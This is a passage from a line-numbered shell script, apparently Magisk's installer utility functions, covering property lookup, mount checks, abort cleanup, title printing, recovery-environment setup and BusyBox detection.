]; then 42 | # Fallback to getprop 43 | getprop "$1" 44 | else 45 | echo $result 46 | fi 47 | } 48 | 49 | getvar() { 50 | local VARNAME=$1 51 | local VALUE 52 | local PROPPATH='/data/.magisk /cache/.magisk' 53 | [ ! -z $MAGISKTMP ] && PROPPATH="$MAGISKTMP/config $PROPPATH" 54 | VALUE=$(grep_prop $VARNAME $PROPPATH) 55 | [ ! -z $VALUE ] && eval $VARNAME=\$VALUE 56 | } 57 | 58 | is_mounted() { 59 | grep -q " $(readlink -f $1) " /proc/mounts 2>/dev/null 60 | return $? 61 | } 62 | 63 | abort() { 64 | ui_print "$1" 65 | $BOOTMODE || recovery_cleanup 66 | [ ! -z $MODPATH ] && rm -rf $MODPATH 67 | rm -rf $TMPDIR 68 | exit 1 69 | } 70 | 71 | resolve_vars() { 72 | MAGISKBIN=$NVBASE/magisk 73 | POSTFSDATAD=$NVBASE/post-fs-data.d 74 | SERVICED=$NVBASE/service.d 75 | } 76 | 77 | print_title() { 78 | local len line1len line2len bar 79 | line1len=$(echo -n $1 | wc -c) 80 | line2len=$(echo -n $2 | wc -c) 81 | len=$line2len 82 | [ $line1len -gt $line2len ] && len=$line1len 83 | len=$((len + 2)) 84 | bar=$(printf "%${len}s" | tr ' ' '*') 85 | ui_print "$bar" 86 | ui_print " $1 " 87 | [ "$2" ] && ui_print " $2 " 88 | ui_print "$bar" 89 | } 90 | 91 | ###################### 92 | # Environment Related 93 | ###################### 94 | 95 | setup_flashable() { 96 | ensure_bb 97 | $BOOTMODE && return 98 | if [ -z $OUTFD ] || readlink /proc/$$/fd/$OUTFD | grep -q /tmp; then 99 | # We will have to manually find out OUTFD 100 | for FD in `ls /proc/$$/fd`; do 101 | if readlink /proc/$$/fd/$FD | grep -q pipe; then 102 | if ps | grep -v grep | grep -qE " 3 $FD |status_fd=$FD"; then 103 | OUTFD=$FD 104 | break 105 | fi 106 | fi 107 | done 108 | fi 109 | recovery_actions 110 | } 111 | 112 | ensure_bb() { 113 | if set -o | grep -q standalone; then 114 | # We are definitely in busybox ash 115 | set -o standalone 116 | return 117 | fi 118 | 119 | # Find our busybox binary 120 | local bb 121 | if [ -f $TMPDIR/busybox ]; then 122 | bb=$TMPDIR/busybox 123 | elif [ -f $MAGISKBIN/busybox ]; then 124 | bb=$MAGISKBIN/busybox 125 | else 126 | abort "! Cannot find BusyBox" 127 | fi 128 | chmod 755 $bb 129 | 130 | # Busybox could be a script, make sure /system/bin/sh exists 131 | if [ ! -f /system/bin/sh ]; then 132 | umount -l /system 2>/dev/null 133 | mkdir -p /system/bin 134 | ln -s $(command -v sh) /system/bin/sh 135 | fi 136 | 137 | export ASH_STANDALONE=1 138 | 139 | # Find our current arguments 140 | # Run in busybox environment to ensure consistent results 141 | # /proc//cmdline shall be